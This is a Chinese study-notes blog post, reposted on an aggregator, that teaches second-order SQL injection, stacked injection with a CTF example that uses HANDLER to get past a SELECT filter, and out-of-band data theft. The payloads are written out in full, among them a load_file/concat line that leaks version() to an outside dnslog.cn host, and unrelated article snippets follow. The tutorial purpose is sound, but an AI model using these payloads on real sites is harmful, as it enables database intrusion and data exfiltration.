小迪笔记 第四十五天 sql 注入进阶 :二次注入,堆叠注入,数据读取(load_file)加外带

news2024/12/27 7:20:17

二次注入

概念:就是我们注入的语句(刚注入时 不会产生影响)但是我们的恶意代码会进入数据库  他在被二次利用的时候就会进行执行  这个就是二次注入

这个的典型案例就是账号密码的修改 : 大家应该也知道 账号注册一般是禁止你使用恶意符号的是吧,那为什么呀?(文末有所用的源码和工具)

就是我们如果把账号 设置为   a' updatexml(1,concat(0x7e,database(),1) #

密码是123456

我们第一次登录  数据库执行 :   insert  into  admin(username,password)  values( '  a' updatexml(1,concat(0x7e,database),1) #  ' ,'123456')    那这样不直接就执行了吗?

其实我上一个文章  说到了一个就我们注入的时候   ' '  被改为了   \'\'  这个符号  这个就是转义字符

实际上我们的输入会被一个转义字符函数   或者php魔术方法

转义之后就成了

insert  into  admin(username,password)  values( '  a\' updatexml(1,concat(0x7e,database),1) \#  ' ,'123456') 

那这样还执行个毛啊

但是这个被保存到数据库之后  就会变为原样

演示:

我这边的数据库    是什么也没有的   那我们执行上边的语句看看什么情况   

执行: 没有执行但是插入到数据库了

当我们修改密码的时候那直接遭殃了    修改密码 有两个形式  : 1、知道密码的修改  2、忘记密码的修改 第二个在这就不会形成二次注入    

1修改密码的语句  : update users set password='新密码' where username='a' updatexml(1,concat(0x7e,database),1) #'                       注入上了呀   是吧  

演示一下  

我们输入的时候发现  什么情况账号输不进去啊  ?  这个就是长度的限制  我们看看是前端的限制还是后端的  

直接 F12  进行查看  一看是前端的限制  那我们直接改掉就行了

接着玩

修改密码  这边我们没执行sql语句啊   就是新旧密码的更改

执行一下 会直接返回我们的数据库名  

这个的危害还是很大的   但是需要的条件  1、转义字符函数(为了把恶意代码植入到数据库中)  2、不会对我们的账号进行特殊符号的限制

堆叠注入

这个比 or1=1 还简单  就是我们看一下 

我们在数据内连接执行了两个数据库的语句  我们去网站上试一试 那你看好了   

创建了一个库

那这是什么情况啊?    其实就是我们修改了一下

multi  就支持我们进行多个语句的执行   这个就是这个漏洞的条件  (但是说实话这个的作用不大 因为谁你妹的会开开这个?找干?)

演示一个例题 

这个就是堆叠注入

看一下源码  他说 Sqlmap没有灵魂那我就手工注入了

直接   ';show databases;  # 注入得到 数据库名

得到这个表   Select * from 上边那一串数字

想一想怎么绕过  这里我想的是直接全部  url 编码试一下能不能绕过  发现还是被 挡住了

那就只能上绝活了  这里  不让我们使用  select    那我们使用个别的   这个handler的作用和mysql 的select

1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;#

这里有个注意点就是  我们的这个  表名字  必须使用  ` ` 包裹呀   为什么使用反引号 呀  如果我们使用单引号  就会直接给我们当字符串处理了   详细的请看这个大佬的文章

sql注入前置知识(information_schema数据库,预处理,反引号和单引号的区别与用法)_schema+表名的反引号sql-CSDN博客

数据回显的外带

下边这个很牛 x解决不回显,反向连接,SQL注入,命令执行,SSRF     但是限制条件就是  

secure_file_priv=''

我们的带外  语句就是    and load_file(concat('//','version()','.3c2hay.dnslog.cn//1.txt'))

这个3c2hay.dnslog.cn  是我们的带外网站  DNSLog Platform

解释:  load_file  表示进行文件的读取   这个1.txt 可以随便写   // 两个这个是防止转义符的  

version()  是执行的语句      那有人问  '//'  这你妹的是什么意思啊?   这个是我们访问网站的一个前缀

试一下

接受数据

总结

以上三个方法  二次注入 :1、需要有转义符

2、堆叠注入       条件:需要开启 mutil 多sql语句执行

3、带外  需要 secure_file_priv='' 服务  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2254248.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SNIP】《An Analysis of Scale Invariance in Object Detection – SNIP》

CVPR-2018 Singh B, Davis L S. An analysis of scale invariance in object detection snip[C]//Proceedings of the IEEE conference on computer vision and pattern recognition. 2018: 3578-3587. https://github.com/bharatsingh430/snip?tabreadme-ov-file 文章目录 …

【C++|Linux|计网】构建Boost站内搜索引擎的技术实践与探索

目录 1、项目的相关背景 2.搜索引擎的相关宏观原理 3.搜索引擎技术栈和项目环境 4.正排索引vs倒排索引-搜索引擎具体原理 5.编写数据去标签与数据清洗的模块 Parser 5.1.去标签 目标: 5.2.代码的整体框架: EnumFile函数的实现: Enu…

ComfyUI绘画|提示词反推工作流,实现自动化书写提示词

今天先分享到这里~ ComfyUI绘画|关于 ComfyUI 的学习建议

高频面试题(含笔试高频算法整理)基本总结回顾20

干货分享,感谢您的阅读! (暂存篇---后续会删除,完整版和持续更新见高频面试题基本总结回顾(含笔试高频算法整理)) 备注:引用请标注出处,同时存在的问题请在相关博客留言…

【AI模型对比】AI新宠Kimi与ChatGPT的全面对比:技术、性能、应用全揭秘

文章目录 Moss前沿AI技术背景Kimi人工智能的技术积淀ChatGPT的技术优势 详细对比列表模型研发Kimi大模型的研发历程ChatGPT的发展演进 参数规模与架构Kimi大模型的参数规模解析ChatGPT的参数体系 模型表现与局限性Kimi大模型的表现ChatGPT的表现 结论:如何选择适合自…

性能测试基础知识jmeter使用

博客主页:花果山~程序猿-CSDN博客 文章分栏:测试_花果山~程序猿的博客-CSDN博客 关注我一起学习,一起进步,一起探索编程的无限可能吧!让我们一起努力,一起成长! 目录 性能指标 1. 并发数 (Con…

如何通过 Windows 自带的启动管理功能优化电脑启动程序

在日常使用电脑的过程中,您可能注意到开机后某些程序会自动运行。这些程序被称为“自启动”或“启动项”,它们可以在系统启动时自动加载并开始运行,有时甚至在后台默默工作。虽然一些启动项可能是必要的(如杀毒软件)&a…

基于PSO粒子群优化的CNN-LSTM-SAM网络时间序列回归预测算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 (完整版代码包含详细中文注释和操作步骤视频&#xff09…

STM32 Jlink Flash读写固件数据

目录 一、从单片机读数据 1.创建工程XX.jflash,已经有的工程不需要创建直接打开 2.创建完成,连接jlink 3.读取整个芯片的数据 4.读取完成后保存数据 5.选择保存的数据格式,以及位置,读数据完成 二、写固件数据到单片机 1.创建工程XX.j…

Scrapy解析JSON响应v

在 Scrapy 中解析 JSON 响应非常常见,特别是当目标网站的 API 返回 JSON 数据时。Scrapy 提供了一些工具和方法来轻松处理 JSON 响应。 1、问题背景 Scrapy中如何解析JSON响应? 有一只爬虫(点击查看源代码),它可以完美地完成常规的HTML页面…

波动理论、传输线和S参数网络

波动理论、传输线和S参数网络 传输线 求解传输线方程 对于传输线模型,我们通常用 R L G C RLGC RLGC 来表示: 其中 R R R 可以表示导体损耗,由于电子流经非理想导体而产生的能量损耗。 G G G 表示介质损耗,由于非理想电介质…

鸿蒙开发——使用ArkTs处理XML文本

1、概 述 XML(可扩展标记语言)是一种用于描述数据的标记语言,旨在提供一种通用的方式来传输和存储数据,特别是Web应用程序中经常使用的数据。XML并不预定义标记。因此,XML更加灵活,并且可以适用于广泛的应…

微信小程序介绍-以及写项目流程(重要)

前言:本篇文章介绍微信小程序以及项目介绍: 文章介绍:介绍了微信小程序常用的指令、组件、api。tips:最好按照官方文档来进行学习,大致可以我的目录来学习,对于写项目是没有问题的 微信小程序官方文档https…

嵌入式蓝桥杯学习5 定时中断实现按键

Cubemx配置 打开cubemx。 前面的配置与前文一样,这里主要配置基本定时器的定时功能。 1.在Timer中点击TIM6,勾选activated。配置Parameter Settings中的预分频器(PSC)和计数器(auto-reload Register) 补…

特别分享!SIM卡接口功能及其电路设计相关注意事项

SIM卡接口功能及其电路设计相关注意事项对电子工程师来说非常重要。SIM卡接口用于连接SIM卡并读取SIM卡信息,以便在注册4G网络时进行鉴权身份验证,是4G通信系统的必要功能。 一、SIM卡接口功能描述 Air700ECQ/Air700EAQ/Air700EMQ系列模组支持1路USIM接…

OpenGL ES详解——文字渲染

目录 一、文字渲染 二、经典文字渲染:位图字体 1.概念 2.优缺点 三、现代文字渲染:FreeType 1.着色器 2.渲染一行文字 四、关于未来 一、文字渲染 当你在图形计算领域冒险到了一定阶段以后你可能会想使用OpenGL来绘制文字。然而,可能…

devops-Dockerfile+Jenkinsfile方式部署Java前后端应用

文章目录 概述部署前端Vue应用一、环境准备1、Dockerfile2、.dockerignore3、nginx.conf4、Jenkinsfile 二、Jenkins部署1、新建任务2、流水线3、Build Now 构建 & 访问 Springboot后端应用1. 准备工作2. 创建项目结构3. 编写 Dockerfile后端 Dockerfile (backend/Dockerfi…

VTK编程指南<三>:基于VTK入门程序解析来理解VTK基础知识

1、VTK入门程序 下面是一个完整的Vtk入门程序&#xff0c;我们基于这个程序来对VTK的基本知识进行一个初步了解。 #include <iostream>#include <vtkAutoInit.h> VTK_MODULE_INIT(vtkRenderingOpenGL2);// VTK was built with vtkRenderingOpenGL2 VTK_MODULE_INI…

十二、消息队列-MQ

文章目录 前言一、MQ介绍1. 背景2. 解决思路3. 解决方案 二、应用场景三、常见的MQ产品四、MQ选型总结五、相关知识1. AMQP2. JMS 五、如何设计实现一个消息队列1. 设计消息队列的思路2. 实现队列基本功能1. RPC通信协议2. 高可用3. 服务端承载消息堆积的能力4. 存储子系统的选…

新手如何做好一份技术文档

对于新手来说&#xff0c;编写技术文档可能是一项挑战&#xff0c;但这也是一个提升自己技术写作能力的绝佳机会。技术文档不仅仅是代码的补充说明&#xff0c;它更是团队协作和项目成功的基石。本文将为你提供一些实用的指导和建议&#xff0c;帮助你编写出一份高质量的技术文…